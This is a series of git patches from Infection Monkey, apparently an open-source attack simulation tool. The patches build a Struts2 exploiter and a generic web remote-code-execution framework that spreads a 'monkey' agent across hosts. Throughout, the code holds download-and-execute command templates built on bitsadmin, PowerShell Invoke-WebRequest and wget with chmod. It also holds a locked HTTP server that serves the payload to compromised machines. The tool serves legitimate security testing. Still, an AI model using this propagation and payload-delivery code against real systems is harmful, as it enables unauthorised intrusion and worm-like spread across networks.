+RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) + # Commands used to check for architecture and if machine is exploitable CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING CHECK_LINUX = "echo %s && lscpu" % ID_STRING + # Commands used to check if monkeys already exists EXISTS = "ls %s" \ No newline at end of file From 6a37f2b95362d2cd57894fe3f818b27c246b2358 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 25 Jun 2018 19:11:58 +0300 Subject: [PATCH 057/137] removed debugging code --- infection_monkey/exploit/struts2.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 409a7f1ef..26322c10d 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -44,8 +44,7 @@ class Struts2Exploiter(HostExploiter): if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - # TODO remove struts - current_host = "http://%s:%s/struts" % (self.host.ip_addr, port[0]) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") From c278b0a29c7ce0c27a7a88c70fc6240ccd654851 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 26 Jun 2018 18:03:31 +0300 Subject: [PATCH 058/137] Small changes --- infection_monkey/exploit/struts2.py | 9 ++++++--- infection_monkey/model/__init__.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 26322c10d..3a08d0487 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,8 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP_BITS_DROPPER +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ + DROPPER_ARG __author__ = "VakarisZ" @@ -71,6 +72,7 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist and self.check_remote_file(url, dropper_path): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) @@ -114,6 +116,7 @@ class Struts2Exploiter(HostExploiter): if self.skip_exist: for dropper_path in dropper_paths: if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) @@ -138,8 +141,8 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - backup_command = RDP_CMDLINE_HTTP_BITS_DROPPER % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} resp = self.exploit(url, command) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 4f0b22b27..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -19,7 +19,7 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' # Commands used to check for architecture and if machine is exploitable CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING From 35b535f97a63f477473567aaa6f49fc61e8fcc89 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 8 Jul 2018 12:14:25 +0300 Subject: [PATCH 059/137] Removed hard coded debug address and replaced with non routable IP --- infection_monkey/config.py | 2 +- infection_monkey/example.conf | 4 ++-- monkey_island/cc/services/config.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..4687237b8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -163,7 +163,7 @@ class Configuration(object): # Configuration servers to try to connect to, in this order. command_servers = [ - "41.50.73.31:5000" + "192.0.2.0:5000" ] # sets whether or not to locally save the running configuration after finishing diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..5d217ce70 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,6 +1,6 @@ { "command_servers": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "internet_services": [ "monkey.guardicore.com", @@ -11,7 +11,7 @@ "" ], "blocked_ips": [""], - "current_server": "41.50.73.31:5000", + "current_server": "192.0.2.0:5000", "alive": true, "collect_system_info": true, "extract_azure_creds": true, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..f67c45c7b 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -545,7 +545,7 @@ SCHEMA = { "type": "string" }, "default": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "description": "List of command servers to try and communicate with (format is :)" }, @@ -567,7 +567,7 @@ SCHEMA = { "current_server": { "title": "Current server", "type": "string", - "default": "41.50.73.31:5000", + "default": "192.0.2.0:5000", "description": "The current command server the monkey is communicating with" } } From 97e5b9663766bb98610bcfa7c47b3172601dd521 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 15 Feb 2018 11:06:01 +0200 Subject: [PATCH 060/137] Opportunistic waiting, make get_tcp_ports O(timeout) rather than timeout. --- infection_monkey/network/tools.py | 28 +++++++++++++++++++--------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..100806171 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -8,6 +8,7 @@ DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 LOG = logging.getLogger(__name__) +SLEEP_BETWEEN_POLL = 0.5 def struct_unpack_tracker(data, index, fmt): @@ -126,15 +127,24 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): LOG.warning("Failed to connect to port %s, error code is %d", port, err) if len(possible_ports) != 0: - time.sleep(timeout) - sock_objects = [s[1] for s in possible_ports] - # first filter - _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) - for s in writeable_sockets: - try: # actual test - connected_ports_sockets.append((s.getpeername()[1], s)) - except socket.error: # bad socket, select didn't filter it properly - pass + timeout = int(round(timeout)) # clamp to integer, to avoid checking input + time_left = timeout + sockets_to_try = possible_ports[:] + connected_ports_sockets = [] + while (time_left >= 0) and len(sockets_to_try): + sock_objects = [s[1] for s in sockets_to_try] + + _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) + for s in writeable_sockets: + try: # actual test + connected_ports_sockets.append((s.getpeername()[1], s)) + except socket.error: # bad socket, select didn't filter it properly + pass + sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] + if sockets_to_try: + time.sleep(SLEEP_BETWEEN_POLL) + timeout -= SLEEP_BETWEEN_POLL + LOG.debug( "On host %s discovered the following ports %s" % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))) From d853e02693134c3a756da91b813c2973a96d27e6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Jul 2018 13:08:08 +0300 Subject: [PATCH 061/137] Remove FTP server from infra New FTP server will come from pyftp --- infection_monkey/transport/__init__.py | 1 - infection_monkey/transport/ftp.py | 174 ------------------------- 2 files changed, 175 deletions(-) delete mode 100644 infection_monkey/transport/ftp.py diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 651964fcb..14a0d68b2 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ -from ftp import FTPServer from http import HTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py deleted file mode 100644 index c90f8c484..000000000 --- a/infection_monkey/transport/ftp.py +++ /dev/null @@ -1,174 +0,0 @@ -import socket, threading, time -import StringIO - -__author__ = 'hoffer' - - -class FTPServer(threading.Thread): - def __init__(self, local_ip, local_port, files): - self.files=files - self.cwd='/' - self.mode='I' - self.rest=False - self.pasv_mode=False - self.local_ip = local_ip - self.local_port = local_port - threading.Thread.__init__(self) - - def run(self): - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.bind((self.local_ip,self.local_port)) - self.sock.listen(1) - - self.conn, self.addr = self.sock.accept() - - self.conn.send('220 Welcome!\r\n') - while True: - if 0 == len(self.files): - break - cmd=self.conn.recv(256) - if not cmd: break - else: - try: - func=getattr(self,cmd[:4].strip().upper()) - func(cmd) - except Exception as e: - self.conn.send('500 Sorry.\r\n') - break - - self.conn.close() - self.sock.close() - - def SYST(self,cmd): - self.conn.send('215 UNIX Type: L8\r\n') - def OPTS(self,cmd): - if cmd[5:-2].upper()=='UTF8 ON': - self.conn.send('200 OK.\r\n') - else: - self.conn.send('451 Sorry.\r\n') - def USER(self,cmd): - self.conn.send('331 OK.\r\n') - - def PASS(self,cmd): - self.conn.send('230 OK.\r\n') - - def QUIT(self,cmd): - self.conn.send('221 Goodbye.\r\n') - - def NOOP(self,cmd): - self.conn.send('200 OK.\r\n') - - def TYPE(self,cmd): - self.mode=cmd[5] - self.conn.send('200 Binary mode.\r\n') - - def CDUP(self,cmd): - self.conn.send('200 OK.\r\n') - - def PWD(self,cmd): - self.conn.send('257 \"%s\"\r\n' % self.cwd) - - def CWD(self,cmd): - self.conn.send('250 OK.\r\n') - - def PORT(self,cmd): - if self.pasv_mode: - self.servsock.close() - self.pasv_mode = False - l = cmd[5:].split(',') - self.dataAddr='.'.join(l[:4]) - self.dataPort=(int(l[4])<<8)+int(l[5]) - self.conn.send('200 Get port.\r\n') - - def PASV(self,cmd): - self.pasv_mode = True - self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((self.local_ip,0)) - self.servsock.listen(1) - ip, port = self.servsock.getsockname() - self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % - (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) - - def start_datasock(self): - if self.pasv_mode: - self.datasock, addr = self.servsock.accept() - else: - self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.datasock.connect((self.dataAddr,self.dataPort)) - - def stop_datasock(self): - self.datasock.close() - if self.pasv_mode: - self.servsock.close() - - def LIST(self,cmd): - self.conn.send('150 Here comes the directory listing.\r\n') - self.start_datasock() - for fn in self.files.keys(): - k=self.toListItem(fn) - self.datasock.send(k+'\r\n') - self.stop_datasock() - self.conn.send('226 Directory send OK.\r\n') - - def toListItem(self,fn): - fullmode='rwxrwxrwx' - mode = '' - d = '-' - ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) - return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn - - def MKD(self,cmd): - self.conn.send('257 Directory created.\r\n') - - def RMD(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def DELE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def SIZE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def RNFR(self,cmd): - self.conn.send('350 Ready.\r\n') - - def RNTO(self,cmd): - self.conn.send('250 File renamed.\r\n') - - def REST(self,cmd): - self.pos=int(cmd[5:-2]) - self.rest=True - self.conn.send('250 File position reseted.\r\n') - - def RETR(self,cmd): - fn = cmd[5:-2] - if self.mode=='I': - fi=self.files[fn] - else: - fi=self.files[fn] - self.conn.send('150 Opening data connection.\r\n') - if self.rest: - fi.seek(self.pos) - self.rest=False - data= fi.read(1024) - self.start_datasock() - while data: - self.datasock.send(data) - data=fi.read(1024) - fi.close() - del self.files[fn] - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') - - def STOR(self,cmd): - fn = cmd[5:-2] - fo = StringIO.StringIO() - self.conn.send('150 Opening data connection.\r\n') - self.start_datasock() - while True: - data=self.datasock.recv(1024) - if not data: break - fo.write(data) - fo.seek(0) - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') From dfecc6d6aca0cf479952e23e2b0fbbc632ac553e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 12:44:19 +0300 Subject: [PATCH 062/137] os.path.samefile does not work on windows. My code checks if files handlers are the same instead --- infection_monkey/dropper.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 6e63e5404..f60e8894a 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -56,7 +56,10 @@ class MonkeyDrops(object): return False # we copy/move only in case path is different - file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) + try: + file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + except OSError: + file_moved = False if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) From d78e81db06d01d25e813b3a2e8a9ebc280852ce7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 20:48:15 +0300 Subject: [PATCH 063/137] Changed to a better file comparison function --- infection_monkey/dropper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index f60e8894a..c135dcddb 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -9,6 +9,7 @@ import sys import time from ctypes import c_char_p +import filecmp from config import WormConfiguration from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX @@ -57,7 +58,7 @@ class MonkeyDrops(object): # we copy/move only in case path is different try: - file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) except OSError: file_moved = False From 68d949c655852a15282890e45eb39f357a6cce2f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 12:33:44 +0300 Subject: [PATCH 064/137] Web RCE framework core files/changes --- infection_monkey/exploit/tools.py | 19 +- infection_monkey/exploit/web_rce.py | 362 +++++++++++++++++++++++++ infection_monkey/model/__init__.py | 20 +- infection_monkey/transport/__init__.py | 2 +- infection_monkey/transport/http.py | 31 +++ 5 files changed, 425 insertions(+), 9 deletions(-) create mode 100644 infection_monkey/exploit/web_rce.py diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index dbbd8070a..c40fd6f9c 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -21,7 +21,7 @@ import monkeyfs from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +from transport import HTTPServer, LockedHTTPServer class DceRpcException(Exception): @@ -386,6 +386,23 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + def get_interface_to_target(dst): if sys.platform == "win32": diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py new file mode 100644 index 000000000..1f79b3f4e --- /dev/null +++ b/infection_monkey/exploit/web_rce.py @@ -0,0 +1,362 @@ +import logging + +from threading import Lock +from exploit import HostExploiter +from model import * +from posixpath import join +import re +from abc import abstractmethod +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from network.tools import check_tcp_port + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +LOCK = Lock() + +class WebRCE(HostExploiter): + + def __init__(self, host): + super(WebRCE, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + self.skip_exist = self._config.skip_exploit_if_file_exist + + @abstractmethod + def exploit_host(self): + raise NotImplementedError() + + @abstractmethod + def exploit(self, url, command): + """ + A reference to a method which implements web exploit logic. + :param url: Url where to send maliciuos packet + :param command: Command which will be executed on remote host + :return: Command's output string. Or True/False if it's a blind exploit + """ + raise NotImplementedError() + + @staticmethod + def get_open_service_ports(host, port_list, names): + """ + :param host: Host machine we are dealing with + :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Returns all open ports from port list that are of service names + """ + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports + + @staticmethod + def check_if_port_open(host, port): + is_open, _ = check_tcp_port(host.ip_addr, port) + if not is_open: + LOG.info("Port %s is closed on %r, skipping", port, host) + return False + return True + + @staticmethod + def check_if_exploitable(exploiter, url): + try: + resp = exploiter(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False + + @staticmethod + def build_potential_urls(host, ports, extensions=None): + """ + :param host: Domain part of url, for example ip of host + :param ports: Array [ port.nr, isHTTPS? ] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions is None: + for port in ports: + if port[1]: + url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) + else: + url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) + else: + # We parse extensions not to start with / + for idx, extension in enumerate(extensions): + if '/' in extension[0]: + extensions[idx] = extension[1:] + for port in ports: + for extension in extensions: + if port[1]: + url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + if not url_list: + LOG.info("No attack url's were built") + return url_list + + @staticmethod + def get_host_arch(host, exploiter, url): + """ + :param host: Host parameter + :param exploiter: Function with exploit logic. exploiter(url, command) + :param url: Url for exploiter to use + :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... + """ + if 'linux' in host.os['type']: + resp = exploiter(url, ARCH_LINUX) + if resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + if arch: + return arch + else: + LOG.info("Could not pull machine architecture string from command's output") + return False + else: + return False + else: + resp = exploiter(url, ARCH_WINDOWS) + if resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def check_remote_file(exploiter, url, path): + command = EXISTS % path + resp = exploiter(url, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True + + @staticmethod + def check_remote_files(host, exploiter, url, config): + """ + Checks if any monkey files are present on remote host + :param host: Host parameter + :param exploiter: Function with exploit logic. exploiter(url, command) + :param url: Url for exploiter to use + :param config: Monkey config from which paths are taken + :return: True if at least one file is found, False otherwise + """ + paths = [] + if 'linux' in host.os['type']: + paths.append(config.dropper_target_path_linux) + else: + paths.append(config.dropper_target_path_win_32) + paths.append(config.dropper_target_path_win_64) + for path in paths: + if WebRCE.check_remote_file(exploiter, url, path): + return True + return False + + @staticmethod + def get_monkey_dest_path(config, src_path): + """ + Gets destination path from source path. + :param config: monkey configuration + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return config.dropper_target_path_linux + elif "windows-32" in src_path: + return config.dropper_target_path_win_32 + else: + return config.dropper_target_path_win_64 + except AttributeError: + LOG.error("Seems like configuration properties names changed. " + "Can not get destination path to upload monkey") + return False + + # Wrapped functions: + + @staticmethod + def get_ports_w(host, ports, names, log_msg=None): + ports = WebRCE.get_open_service_ports(host, ports, names) + if not ports and not log_msg: + LOG.info("All default web ports are closed on %r, skipping", host) + return False + elif not ports and log_msg: + LOG.info(log_msg) + return False + else: + return ports + + @staticmethod + def set_host_arch(host, exploiter, url): + arch = WebRCE.get_host_arch(host, exploiter, url) + if not arch: + LOG.error("Couldn't get host machine's architecture") + return False + else: + host.os['machine'] = arch + return True + + @staticmethod + def upload_monkey(host, config, exploiter, url, commands=None): + """ + :param host: Where we are trying to upload + :param exploiter:exploiter(url, command) Method that implements web RCE + :param config: Monkey config, to get the path where to place uploaded monkey + :param url: Where exploiter should send it's request + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :return: {'response': response/False, 'path': monkeys_path_in_host} + """ + LOG.info("Trying to upload monkey to the host.") + src_path = get_target_monkey(host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(config, src_path) + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK) + LOCK.acquire() + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + if not host.os['type']: + LOG.error("Unknown target's os type. Skipping.") + return False + if 'linux' in host.os['type']: + if not commands: + command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} + else: + try: + command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + else: + if not commands: + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} + else: + try: + command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit windows host, but windows command is missing/bad! " + "Check upload_monkey function docs.") + return False + resp = exploiter(url, command) + + if not isinstance(resp, bool) and 'owershell is not recognized' in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} + resp = exploiter(url, backup_command) + LOCK.release() + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Uploading proccess finished") + return {'response': resp, 'path': path} + + @staticmethod + def change_permissions(host, url, exploiter, path, command=None): + """ + Method for linux hosts. Makes monkey executable + :param host: Host info + :param url: Where to send malicious packets + :param exploiter: exploiter(url, command) Method that implements web RCE. + :param path: Path to monkey on remote host + :param command: Formatted command for permission change or None + :return: response, False if failed and True if permission change is not needed + """ + LOG.info("Changing monkey's permissions") + if 'windows' in host.os['type']: + LOG.info("Permission change not required for windows") + return True + if not command: + command = CHMOD_MONKEY % {'monkey_path': path} + try: + resp = exploiter(url, command) + except Exception as e: + LOG.error("Something went wrong while trying to change permission: %s" % e) + return False + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Permission change finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'Operation not permitted' in resp: + LOG.error("Missing permissions to make monkey executable") + return False + elif 'No such file or directory' in resp: + LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + return False + LOG.info("Permission change finished") + return resp + + @staticmethod + def execute_remote_monkey(host, url, exploiter, path, dropper=False): + """ + This method executes remote monkey + :param host: Host info + :param url: Where to send malicious packets + :param exploiter: exploiter(url, command) Method that implements web RCE. + :param path: Path to monkey on remote host + :param dropper: Should remote monkey be executed with dropper or with monkey arg? + :return: Response or False if failed + """ + LOG.info("Trying to execute remote monkey") + # Get monkey command line + if dropper and path: + monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + else: + monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + try: + resp = exploiter(url, command) + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Execution attempt successfully finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'is not recognized' in resp or 'command not found' in resp: + LOG.error("Wrong path chosen or other process already deleted monkey") + return False + elif 'The system cannot execute' in resp: + LOG.error("System could not execute monkey") + return False + except Exception as e: + LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) + return False + LOG.info("Execution attempt finished") + return resp + + + diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..0c1e5a09b 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +ARCH_WINDOWS = "wmic os get osarchitecture" +ARCH_LINUX = "lscpu" # Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +EXISTS = "ls %s" + +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 14a0d68b2..d0408a309 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,3 +1,3 @@ -from http import HTTPServer +from http import HTTPServer, LockedHTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 8d07fd155..e65248161 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -6,6 +6,7 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit +from threading import Lock import monkeyfs from base import TransportProxyBase, update_last_serve_time @@ -182,6 +183,36 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) +class LockedHTTPServer(threading.Thread): + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + self._local_ip = local_ip + self._local_port = local_port + self._filename = filename + self.max_downloads = max_downloads + self.downloads = 0 + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + + def run(self): + class TempHandler(FileServHTTPRequestHandler): + filename = self._filename + + @staticmethod + def report_download(dest=None): + LOG.info('File downloaded from (%s,%s)' % 